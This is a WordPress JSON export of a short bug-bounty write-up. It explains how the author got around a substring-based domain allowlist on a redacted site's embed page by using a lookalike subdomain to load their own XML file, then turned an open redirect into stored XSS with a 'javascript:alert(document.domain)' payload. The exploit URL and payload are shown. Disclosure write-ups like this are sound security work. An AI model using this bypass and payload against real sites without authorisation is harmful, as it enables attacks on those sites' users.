{"id":156,"date":"2022-08-14T13:43:53","date_gmt":"2022-08-14T11:43:53","guid":{"rendered":"https:\/\/bergee.it\/blog\/?p=156"},"modified":"2026-04-27T22:18:26","modified_gmt":"2026-04-27T20:18:26","slug":"url-filter-bypass-rfi-and-xss","status":"publish","type":"post","link":"https:\/\/bergee.it\/blog\/url-filter-bypass-rfi-and-xss\/","title":{"rendered":"URL filter bypass, RFI and XSS"},"content":{"rendered":"<p>In this story, I tell you how I was able to bypass the URL filtering rule to inject my own files into the server and eventually obtain stored XSS. As I can&#8217;t reveal the target let&#8217;s call it redacted.com. Using <a href=\"https:\/\/github.com\/tomnomnom\/waybackurls\" target=\"_blank\" rel=\"noopener\">waybackurls<\/a> on the target I found the following URL:<\/p>\n<blockquote class=\"wrapped\"><p>http:\/\/emp.redacted.com\/embed.html?playlist=https:\/\/playlists.redacted.com\/sport\/0\/football\/34232917A\/playlist.sxml<\/p><\/blockquote>\n<p>The playlist parameter was the URL to the XML file that delivered the data to render by the site. I immediately thought of injecting my own URL there. I tried but it only accepted the URL from *.redacted.com.\u00a0 After some trials and errors, I successfully bypassed the filter. It accepted the url from *.redacted.com.myowndomain.com. The filter did not check if the string is properly ended, it checked if the whitelisted domain is within the given domain of the remote URL. I had my own domain berdzi.tk. This way I registered the subdomain like this:<\/p>\n<blockquote><p>redacted.com.berdzi.tk<\/p><\/blockquote>\n<p>ran my own server, put there my modified XML file there and put this url into browser:<\/p>\n<blockquote class=\"wrapped\"><p>http:\/\/emp.redacted.com\/embed.html?playlist=http:\/\/playlists.redacted.com.berdzi.tk\/playlist.xml<\/p><\/blockquote>\n<p>My own playlist data were rendered properly. I obtained <em>Remote File Inclusion<\/em><strong>.<\/strong> There were some placeholders in XML I could change but it didn&#8217;t do anything malicious. Suddenly I noticed the URL to the main site of redacted.com in the corner. And this URL was placed inside the XML file. If I changed it, I get <em>Open Redirect<\/em>, however open redirect is not really dangerous. Fortunately there is a payload that allows to transform open redirect into XSS:<\/p>\n<blockquote><p>javascript:alert(document.domain)<\/p><\/blockquote>\n<p>I put it into the XML and I obtained <strong>stored XSS.\u00a0<\/strong>It required user&#8217;s interaction, though. But it was fully functional stored XSS which I was proud of and could attack anoter users with it.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-158 size-large\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/domain_filter_bypass_redacted-1024x789.jpg\" alt=\"\" width=\"640\" height=\"493\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/domain_filter_bypass_redacted-1024x789.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/domain_filter_bypass_redacted-300x231.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/domain_filter_bypass_redacted-768x592.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/domain_filter_bypass_redacted-850x655.jpg 850w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/domain_filter_bypass_redacted.jpg 1330w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/p>\n<p>Reward: \ud83d\udc55<\/p>\n<p>See you next bug \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this story, I tell you how I was able to bypass the URL filtering rule to inject my own files into the server and eventually obtain stored XSS. As I can&#8217;t reveal the target let&#8217;s call it redacted.com. Using waybackurls on the target I found the following URL: http:\/\/emp.redacted.com\/embed.html?playlist=https:\/\/playlists.redacted.com\/sport\/0\/football\/34232917A\/playlist.sxml The playlist parameter was the&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,33,29],"tags":[],"class_list":["post-156","post","type-post","status-publish","format-standard","hentry","category-bez-kategorii","category-vdp","category-write-up"],"_links":{"self":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/156","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/comments?post=156"}],"version-history":[{"count":7,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/156\/revisions"}],"predecessor-version":[{"id":178,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/156\/revisions\/178"}],"wp:attachment":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/media?parent=156"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/categories?post=156"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/tags?post=156"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}